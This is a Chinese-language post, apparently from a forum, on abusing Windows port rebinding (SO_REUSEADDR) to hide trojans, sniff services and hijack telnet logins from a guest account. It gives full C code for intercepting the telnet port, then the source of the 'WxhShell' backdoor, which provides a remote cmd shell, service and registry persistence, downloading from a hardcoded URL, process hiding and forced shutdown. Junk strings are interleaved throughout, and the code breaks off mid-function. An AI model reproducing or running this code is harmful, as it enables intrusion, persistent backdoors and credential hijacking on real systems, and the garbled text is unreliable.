在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zPnb_[YF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
b<FE
E{
/,
b) saddr.sin_family = AF_INET;
E&9<JS r<!hEWO>v saddr.sin_addr.s_addr = htonl(INADDR_ANY);
oAO{4xP k4Q>J,k bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y` }X5(A@ *JK0X 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
X]y:uD{ (dlp5:lQz
这意味着什么?意味着可以进行如下的攻击:
fkI 5~Y| mZ71_4X# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
8-#kY}d. *)K\&h<{ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_}R9!R0O :#:|:q.] 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0AHQ(+Ap :k\#=u( 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
z~Q=OPCnY 4jXo5SkEJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
WEwa<%Ss 6R45+<. 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
xM%4/QE+ qfsPX6] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y#'hOSR2 '=0}2sF> #include
X&9:^$m #include
#Hrzk!&9 #include
ZVgfrvZP #include
^+x?@$rq DWORD WINAPI ClientThread(LPVOID lpParam);
-rO34l int main()
`XxnQng {
^;EhKG WORD wVersionRequested;
,D{7=mDVm DWORD ret;
tA#Pc6zBuC WSADATA wsaData;
:)#;0o5 BOOL val;
nJe}U# SOCKADDR_IN saddr;
lp}S'^ y SOCKADDR_IN scaddr;
F` ybe\ int err;
CyIlv0fd} SOCKET s;
8e?/LA%MU SOCKET sc;
D[+LU( int caddsize;
`#$}P;W HANDLE mt;
}xsO^K DWORD tid;
:7K
a4 wVersionRequested = MAKEWORD( 2, 2 );
`=Ip>7T& err = WSAStartup( wVersionRequested, &wsaData );
IQJ"B6U) if ( err != 0 ) {
uo`R printf("error!WSAStartup failed!\n");
I/7!5Z* return -1;
necY/&Ld- }
-+ByK#<% saddr.sin_family = AF_INET;
&3SS.&g4W ?W'z5'| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?;,; LSta]81B4L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2Wzx1_D"a saddr.sin_port = htons(23);
qA[lL( if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$0[T<]{/? {
vx9!KWy} printf("error!socket failed!\n");
g@#he95 } return -1;
:UdW4N- }
+@ChZ val = TRUE;
^BF}wQb:j //SO_REUSEADDR选项就是可以实现端口重绑定的
4|PWR_x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
]ogifnwv {
yv-R<c!' printf("error!setsockopt failed!\n");
v*.R<-X: return -1;
LtRRX@qJw }
ins(RWO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
eDpi0htm //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
q=t!COS //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o^epXIrIPi llZU: bs if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h8(#\E {
d.+*o ret=GetLastError();
F>\,`wP printf("error!bind failed!\n");
_s;y0$O return -1;
*}vvS^ c0 }
/<-PW9X? listen(s,2);
xCZ_x$bk while(1)
!l*A3qA {
p8,=K< caddsize = sizeof(scaddr);
1NP //接受连接请求
Z8=?Hu sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
THwM',6 if(sc!=INVALID_SOCKET)
_4>DuklH, {
0#NMNZ
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Tu(:? if(mt==NULL)
>Cr"q* {
P'VHga printf("Thread Creat Failed!\n");
%R$)bGT break;
A}Iyl }
eY3:Nl^ }
a>GA=r CloseHandle(mt);
)?[2Y%P }
).kU7;0 closesocket(s);
SGl|{+(A WSACleanup();
<l1/lm<# return 0;
'5aA+XP| }
# m|el@) DWORD WINAPI ClientThread(LPVOID lpParam)
!po,Z& {
;,-)Z|W SOCKET ss = (SOCKET)lpParam;
]MYbx)v) SOCKET sc;
W\[E unsigned char buf[4096];
'\{ OQH SOCKADDR_IN saddr;
[g}^{ $` long num;
~"S5KroN DWORD val;
sA6Hk B. DWORD ret;
|6NvByc, //如果是隐藏端口应用的话,可以在此处加一些判断
:G#%+, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
w8D8\`i!" saddr.sin_family = AF_INET;
_dd_Z40R saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
%;4#?.W8 saddr.sin_port = htons(23);
;7Qe m& if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
fyUW;dj {
9>+>s ?IgK printf("error!socket failed!\n");
TJP;!uX return -1;
K/(LF} }
9I 6^-m@: val = 100;
IO#)r[JZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
B#."cg4VR {
2;]tIt d1 ret = GetLastError();
j 1'H|4 return -1;
-6 v?iiZr }
AkjoD7.* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
VFV8ik) {
R GV{KL ret = GetLastError();
_BG`!3U+ return -1;
@lB1t=
D }
~=wBF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
pnz@;+f {
5YZ\@<|rH printf("error!socket connect failed!\n");
\^F6)COy closesocket(sc);
ZbH6$2r closesocket(ss);
}J5iY0 return -1;
Kc9)Lzu+ }
tSDp>0yZ3 while(1)
gKU*@`6G {
dkEnc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7.5\LTM>9e //如果是嗅探内容的话,可以再此处进行内容分析和记录
P\c0Q;){h" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[t^%d9@t num = recv(ss,buf,4096,0);
GmGq69]J* if(num>0)
/C<} :R send(sc,buf,num,0);
:Z
]E:f0P else if(num==0)
lSId<v?C> break;
8/34{2048 num = recv(sc,buf,4096,0);
}=3W(1cu- if(num>0)
s|!b: Ms` send(ss,buf,num,0);
,@gDY9Q3r/ else if(num==0)
N_!Zn"J break;
G[yN*C }
I^A01\p closesocket(ss);
~?A,GalS closesocket(sc);
`|JQ)!Agx return 0 ;
}\ui}\ }
nuv$B > UE\@7 .yj=*N. ==========================================================
;lWy?53=@ +ACV,GG 下边附上一个代码,,WXhSHELL
+FVcrL@ .Lu=16 ==========================================================
' *p-` U7fE6&g #include "stdafx.h"
f{z%P I[ ;/{Q4X{ #include <stdio.h>
CM's6qhQnn #include <string.h>
lR^dT4 #include <windows.h>
IO_H%/v"jC #include <winsock2.h>
&akMj@4;R #include <winsvc.h>
NtOR/*
#include <urlmon.h>
qaGIU`}:$A S(-=I!.G{ #pragma comment (lib, "Ws2_32.lib")
r@<; #pragma comment (lib, "urlmon.lib")
f,a4LF $BBfsaJPT #define MAX_USER 100 // 最大客户端连接数
o-'i)pp #define BUF_SOCK 200 // sock buffer
UZX)1?U #define KEY_BUFF 255 // 输入 buffer
y<.!TULa_ x?<5=, #define REBOOT 0 // 重启
IKr7"` #define SHUTDOWN 1 // 关机
sBu"$"] kWz%v #define DEF_PORT 5000 // 监听端口
`Zi #rr|)L O}f(h5!k #define REG_LEN 16 // 注册表键长度
g4$%)0x% #define SVC_LEN 80 // NT服务名长度
Z "=(uwM q(p0#Mk,E // 从dll定义API
z|?R=;,u` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}Voh5*$E` typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
7VXeu+-P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n)7icSc typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d,+n,;6Cf \mu9ikZ< // wxhshell配置信息
hCvn(f struct WSCFG {
v(7A=/W_ int ws_port; // 监听端口
q
|^O char ws_passstr[REG_LEN]; // 口令
Y)*lw int ws_autoins; // 安装标记, 1=yes 0=no
t3>rf3v char ws_regname[REG_LEN]; // 注册表键名
\
+xIH char ws_svcname[REG_LEN]; // 服务名
MH Yf8HN char ws_svcdisp[SVC_LEN]; // 服务显示名
,<
icW&a char ws_svcdesc[SVC_LEN]; // 服务描述信息
*pD;AU char ws_passmsg[SVC_LEN]; // 密码输入提示信息
N]<gHGj} int ws_downexe; // 下载执行标记, 1=yes 0=no
|YFD| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
~&/Gx_KU char ws_filenam[SVC_LEN]; // 下载后保存的文件名
f,a %@WT wf@2&vJ };
;2|H6IN" LI<5;oE; // default Wxhshell configuration
] zY struct WSCFG wscfg={DEF_PORT,
ui{_w @o "xuhuanlingzhe",
r?I(me, 1,
iP%=Wo. "Wxhshell",
_D4}[` "Wxhshell",
E}=,"i "WxhShell Service",
%$xFnGb "Wrsky Windows CmdShell Service",
4"{wga~%/ "Please Input Your Password: ",
yMkd|1 1,
m6cW "
http://www.wrsky.com/wxhshell.exe",
Z :+#3.4$3 "Wxhshell.exe"
swFOh5z };
6I#DlAU@v @GtZK // 消息定义模块
*~uuCLv_ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
A%2}?Ds char *msg_ws_prompt="\n\r? for help\n\r#>";
RWo B7{G char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:a@z53X@M char *msg_ws_ext="\n\rExit.";
Ohag%<1# char *msg_ws_end="\n\rQuit.";
9`{2 h$U char *msg_ws_boot="\n\rReboot...";
!VZj!\I char *msg_ws_poff="\n\rShutdown...";
PWu2;JF char *msg_ws_down="\n\rSave to ";
Gnt!!1_8L
]:fCyIE char *msg_ws_err="\n\rErr!";
Q$L(fHkw char *msg_ws_ok="\n\rOK!";
Y`?X Fy: 9%14k char ExeFile[MAX_PATH];
j]"xck int nUser = 0;
X2YOD2<v HANDLE handles[MAX_USER];
3&fFIab9 int OsIsNt;
a[g|APZz a&"*UJk<? SERVICE_STATUS serviceStatus;
;w(1Ydo SERVICE_STATUS_HANDLE hServiceStatusHandle;
Q5n :f+ /+`<X%^U // 函数声明
mS}x2& int Install(void);
DF|s,J`98 int Uninstall(void);
!gfhEzY int DownloadFile(char *sURL, SOCKET wsh);
(<ZkmIXN int Boot(int flag);
UH-uU~ void HideProc(void);
+JS/Z5dl+} int GetOsVer(void);
6H,=S`V]EK int Wxhshell(SOCKET wsl);
Wx)U<:^e void TalkWithClient(void *cs);
6oh@$.ThG int CmdShell(SOCKET sock);
_JTxm>
int StartFromService(void);
#x@lZ! Y int StartWxhshell(LPSTR lpCmdLine);
yL
x .#kx6 ZWRRh^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
UW[{d/.wC VOID WINAPI NTServiceHandler( DWORD fdwControl );
i6#]$ B JOx,19r // 数据结构和表定义
(2bZ] SERVICE_TABLE_ENTRY DispatchTable[] =
=Z .V+ 4+ {
S50x0$%<W {wscfg.ws_svcname, NTServiceMain},
5YI/Ec {NULL, NULL}
66@3$P%1p };
F:o# W({TC // 自我安装
zB6u-4^wT int Install(void)
WCmNibj {
}i7U}T char svExeFile[MAX_PATH];
}#HTO:r HKEY key;
0SYf<$ strcpy(svExeFile,ExeFile);
]ZKt1@4AY hQ}7Z&O // 如果是win9x系统,修改注册表设为自启动
F\=Rm if(!OsIsNt) {
>[H&k8\7n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u@Cf*VPK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
r3H}*Wpf RegCloseKey(key);
A`
o?+2s_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'`]n_$f' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$TA6S+ RegCloseKey(key);
OVUs]uK return 0;
UhSh(E8p> }
X(y }
D,dHP-v }
tSb?]J else {
9jMC|oE wAu[pWD'6; // 如果是NT以上系统,安装为系统服务
50`iCD SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
S0N2rU if (schSCManager!=0)
T1(j l) {
(~ ]g,*+ SC_HANDLE schService = CreateService
v;fJM5PA (
#5y9L schSCManager,
ntj`+7mw wscfg.ws_svcname,
my\o P(e\ wscfg.ws_svcdisp,
Hz]4A S SERVICE_ALL_ACCESS,
aJ6#=G61l SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
y8w0eq94 SERVICE_AUTO_START,
&\1'1`N1 SERVICE_ERROR_NORMAL,
S9HBr svExeFile,
ShWHHU(QQ NULL,
I(OAEIz NULL,
O->_/_ NULL,
|;A9A's NULL,
mW~i
c NULL
v)@,:u) );
L289'Gzg if (schService!=0)
\}$*}gW[} {
1mJbQ#5 CloseServiceHandle(schService);
T[0V%Br{d+ CloseServiceHandle(schSCManager);
JsmbW|t^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
${hyNt strcat(svExeFile,wscfg.ws_svcname);
M!N`
Orz if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
F+ffl^BQ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'8)Wd"[ RegCloseKey(key);
5%<TF.;-J return 0;
wVgi+P }
?SC3Vzr }
?^LG
hdR CloseServiceHandle(schSCManager);
T>#TDMU#Fm }
sS,
zzx< }
9v~1We;{$ Bu7A{DRf return 1;
9;=q=O/ }
z*6$&sS\> |/@0~O(6 // 自我卸载
]{YN{ int Uninstall(void)
P?^JPbfV {
za,6du6 HKEY key;
"E.\6sC 8)N0S% B if(!OsIsNt) {
"?$L'!bM@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\WWG>OUh.U RegDeleteValue(key,wscfg.ws_regname);
FyCBNtCv RegCloseKey(key);
X*0k>j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
);=Q] > RegDeleteValue(key,wscfg.ws_regname);
>f>V5L%1 RegCloseKey(key);
xXO RIlD return 0;
+<&E3O r }
w{3ycR }
+|6`E3j% }
V]Sgx00; else {
T-^0:@5o9 \H^;'agA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
2zhn`m if (schSCManager!=0)
L/ ~D<V {
W;qP=DK2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iecWa:(' if (schService!=0)
<P-$RX {
G%;kGi`m if(DeleteService(schService)!=0) {
Y.7} CloseServiceHandle(schService);
Hoj8okP CloseServiceHandle(schSCManager);
975
_d_U return 0;
avg4K*v v }
{#N%Bq} CloseServiceHandle(schService);
\6{LR& }
P/G>/MD/l CloseServiceHandle(schSCManager);
)AI?x@ }
7#ofNH J }
(Izf
L1 /HZv return 1;
~T%Ui#Gc }
B[CA
5Ry )9B:Y;>) // 从指定url下载文件
P].eAAXnP int DownloadFile(char *sURL, SOCKET wsh)
yplG18 {
~q 7;8<U HRESULT hr;
a$}NW. char seps[]= "/";
`;$h'eI9 char *token;
Kk=LXmL2 char *file;
<[ZI.+_Wt char myURL[MAX_PATH];
CcY7$D char myFILE[MAX_PATH];
*}w+68eO A@2Bs5F strcpy(myURL,sURL);
T cJ$[ token=strtok(myURL,seps);
wx*1*KZ while(token!=NULL)
|4fF T ` {
{jW%P="z$" file=token;
&?y7I Pp token=strtok(NULL,seps);
m'bi\1Q }
cI:-Z{M7z CW p#^1F GetCurrentDirectory(MAX_PATH,myFILE);
L5f$TLw
h; strcat(myFILE, "\\");
o/^1Wm= strcat(myFILE, file);
<( EyXV send(wsh,myFILE,strlen(myFILE),0);
DZk1ZLz send(wsh,"...",3,0);
8I.VJ3Q
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#K4*6LI if(hr==S_OK)
O m9jtWk return 0;
r[pF^y0 else
\f%.n]> return 1;
/8c&Axuv mp1ttGUtM }
ix&'0IrX* 4MLH+/e // 系统电源模块
Jzex]_:1~ int Boot(int flag)
||Y<f * {
]iVLHVqz HANDLE hToken;
$FX,zC<= TOKEN_PRIVILEGES tkp;
j_GBH8` :c=.D;, if(OsIsNt) {
v0LGdX)/Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#^0( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:kG)sw7 tkp.PrivilegeCount = 1;
#
yN*',I& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
v* ~3Z1 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
tTuX\;G if(flag==REBOOT) {
NBOCt)C;H if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=;ICa~`C; return 0;
O|'1B>X }
eV2mMSY else {
KY.ZT2k if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,Eu?JH&}u return 0;
n >FY? }
z9
($. }
m3 -9b" else {
{HrZ4xQnpV if(flag==REBOOT) {
ZA820A>2! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*y]+dK&- return 0;
orfp>B) 0 }
1@qgF else {
|He=LQ}0 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:]II-$/8 return 0;
z]@6fM[ }
Adx`8}N8 }
m;,xmEp \?lz&< return 1;
8Vn4.R[vE }
+!yXTC <<zI\+V // win9x进程隐藏模块
A)NkT`<) void HideProc(void)
'EhBRU% {
,wj"! o# }NCL>l;q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
dh -,E if ( hKernel != NULL )
,o#kRWRG {
\".^K5Pm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
C9~~O~7x ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
L%\b' fs FreeLibrary(hKernel);
"484n/D }
D E/:[' u8L$]vOg return;
`/IKdO*!S }
'7)" u{e-G&]^; // 获取操作系统版本
r4XH = int GetOsVer(void)
=Lp7{09u {
=o 7}]k7 OSVERSIONINFO winfo;
q1{H~VSn" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nsuX*C7 GetVersionEx(&winfo);
5.0e~zlM- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,xsH|xW return 1;
$)Bg JDr else
tkKJh !Q7 return 0;
<V&5P3)d9 }
zJN7<sv pPro }@@ // 客户端句柄模块
G4-z3e,crr int Wxhshell(SOCKET wsl)
19U]2D/z {
47>>4_Hz SOCKET wsh;
X$n(-65 struct sockaddr_in client;
0 p uY"[c DWORD myID;
$lwz-^1t. l.=p8-/$'7 while(nUser<MAX_USER)
^QXbJJ {
k;^
: int nSize=sizeof(client);
P:xT0gtt wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:#t*K6dz if(wsh==INVALID_SOCKET) return 1;
}
p:%[ "&+3#D
> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nHXX\i if(handles[nUser]==0)
8?FueAM'
closesocket(wsh);
L:&k(YOBA else
>l5$ 9wO nUser++;
_2ef LjXQ }
@mQ:7-,~ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
XP?rOOn 6dqsFns}e return 0;
b{7E;KyY, }
Wd,a?31| Tny>D0Z# // 关闭 socket
olux6RP[B void CloseIt(SOCKET wsh)
d l]# {
Q /x8 #X closesocket(wsh);
W8WXY_yJt nUser--;
fPa9ofU/kr ExitThread(0);
6QQfQ, }
>!6JKL~= |AZW9 // 客户端请求句柄
e&<yX void TalkWithClient(void *cs)
\_6OC Vil {
2h=%K/hhY ._Zt=jB SOCKET wsh=(SOCKET)cs;
X@2-*so< char pwd[SVC_LEN];
/B3R1kNf| char cmd[KEY_BUFF];
>h~IfZU1 char chr[1];
QCOo int i,j;
coE&24,0 Av J4\ while (nUser < MAX_USER) {
y2L#:[8 jH;Du2w if(wscfg.ws_passstr) {
jdA
]2] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{}~: &.D //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gk0.zz([ //ZeroMemory(pwd,KEY_BUFF);
qQ[b VD\* i=0;
xb2?lL] while(i<SVC_LEN) {
Ut@RGg+f8 N3BL3:@O // 设置超时
f>j wN@( fd_set FdRead;
c~}l8M% struct timeval TimeOut;
kh$_!BT FD_ZERO(&FdRead);
. RVVWqW FD_SET(wsh,&FdRead);
&n2e TimeOut.tv_sec=8;
z`Wt%tL( TimeOut.tv_usec=0;
UKd'+R] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,$*IzL~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9Ru;` F?+3%>/A@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
RrrK*Fk8= pwd
=chr[0]; !\ND(
if(chr[0]==0xd || chr[0]==0xa) { >zvY\{WY
pwd=0; rt-\g1x
break; ,*id'=S
} `1` f*d
v
i++; AIl4]F5I
} Nt`b;X&
od<b!4k~s
// 如果是非法用户,关闭 socket pcS+o
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _mE^rT
} rnFM/GAy
le)DgIT>=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9-1#( Y6S
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .
v)mZp
0>Z ;Ni
while(1) { ;^u*hZN[Up
j`*N,*ha
ZeroMemory(cmd,KEY_BUFF);
,<,:8B
F!!N9VIC
// 自动支持客户端 telnet标准 8OhDjWVJ
j=0; u0)7i.!M
while(j<KEY_BUFF) { PaB!,<A
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yqOuX>m 1c
cmd[j]=chr[0]; b;mSQ4+
if(chr[0]==0xa || chr[0]==0xd) { EpPf_ \o
cmd[j]=0; G\gMC
<3
break; A~(l{g
} ;;s* Ohh
j++; Xk mQBV"
} O09ke-lC
^nK7i[yF.k
// 下载文件 |aToUi.Q%
if(strstr(cmd,"http://")) { C_fY %O
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Vn=qV3OE]
if(DownloadFile(cmd,wsh)) XEM'}+d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<{{ :7n
else T5Eseesp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~.f7Ao[
} R5_i15<
else { 2
+5e0/_V
?/*~;fM
switch(cmd[0]) { W1aa:hEf
lG<hlYckv
// 帮助 >XW*T5aUA
case '?': { "I-
w
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E N^Uki`
break; Br>Fpe$q4
} 'Yy&G\S
// 安装 `'_m\uo
case 'i': { 5x2Ay=s
if(Install()) ^,Ydr~|T
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ITuq/qts]A
else vdoZ&Tu
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2LY=DL7
break; i=FQGWAUu
} 9X<OJT;3J
// 卸载 Ma-\^S=
case 'r': { 0pe3L
if(Uninstall()) eEc4bVQa
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :B*}^g
else k5d\w@G"~
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2h30\/xkU
break; }S_oH9A
} %rKK[
// 显示 wxhshell 所在路径 jMBiaX`F
case 'p': { 5 +9Ze9
char svExeFile[MAX_PATH]; 7[v%GoE
strcpy(svExeFile,"\n\r"); RWq{Ff}Hk
strcat(svExeFile,ExeFile); ]ekk }0
send(wsh,svExeFile,strlen(svExeFile),0); iGXI6`F"
break; zRl~^~sY
} I{0k
// 重启 E|"=.
T
case 'b': { Z-=YM P ]Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j|.} I
if(Boot(REBOOT)) (n(
fI f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nw J:!
else { z T%U!jqI
closesocket(wsh); v"u^M-_
ExitThread(0); J a,d3K
} )8gGv
break; ig"uXs
} 01a-{&
// 关机 u8b2$D
case 'd': { @* 1U{`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); TrVWv
if(Boot(SHUTDOWN)) >v;8~pgO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :y]Omp
else { \@a$'
closesocket(wsh); @# P0M--X
ExitThread(0); vP!GJX&n5
} iSK+GQ~
break; -XoP ia2
} pI`?(5iK6|
// 获取shell ,M !tm7
case 's': { <M?:
CmdShell(wsh); |Q~cX!;
closesocket(wsh); 6bc337b
ExitThread(0); "pxzntY|
break; &Y P#M|
} USJ-e
// 退出 H2gj=krK
case 'x': { QA!_} N4n
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s,VXc/
CloseIt(wsh); |8_JY2
R
break; UQCo}vM
} k?nQ?B
W
// 离开 w-B^
[<
case 'q': { ^y viV
Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 10Wz,vW,n
closesocket(wsh); ]T!
}XXK
WSACleanup(); >>d m}X
exit(1); {X]R-1>
break; 9V uq,dv
} pC,o2~%{
} co 4h*?q
} n#Dv2 E=6
gB,G.QM*6
// 提示信息 [t\B6XxT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }n,Zl>T9
} Myat{OF
} dth&?/MERL
fpyz'
return; +KGZHO!
} }S-DB#6
R$kpiqK
// shell模块句柄 =tTqN+4
int CmdShell(SOCKET sock) vY|^/[x#B
{ z(uZF3
STARTUPINFO si; MjfFf} @
ZeroMemory(&si,sizeof(si)); ` >!n
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
{npcPp9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _#e&t"@GS
PROCESS_INFORMATION ProcessInfo; l7(!`NPbC
char cmdline[]="cmd"; !33#. @[
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gCd`pi
8
return 0; `[#x_<\t
} ({0)@+V8
v<\A%
// 自身启动模式 " }gVAAvc7
int StartFromService(void) Nb2Qp
K
{ 9&%fq)gS
typedef struct 6!iJ;1PeE
{ C8N{l:1f]
DWORD ExitStatus; PALl sGlf
DWORD PebBaseAddress; C.:=lo B
DWORD AffinityMask; NBh%:tu7M
DWORD BasePriority; C) QKPT
ULONG UniqueProcessId; EY`H}S!xy
ULONG InheritedFromUniqueProcessId; g_*T?;!.U
} PROCESS_BASIC_INFORMATION; 8?t"C_>*e
/NT[ETMk+
PROCNTQSIP NtQueryInformationProcess; @(``:)Z<b
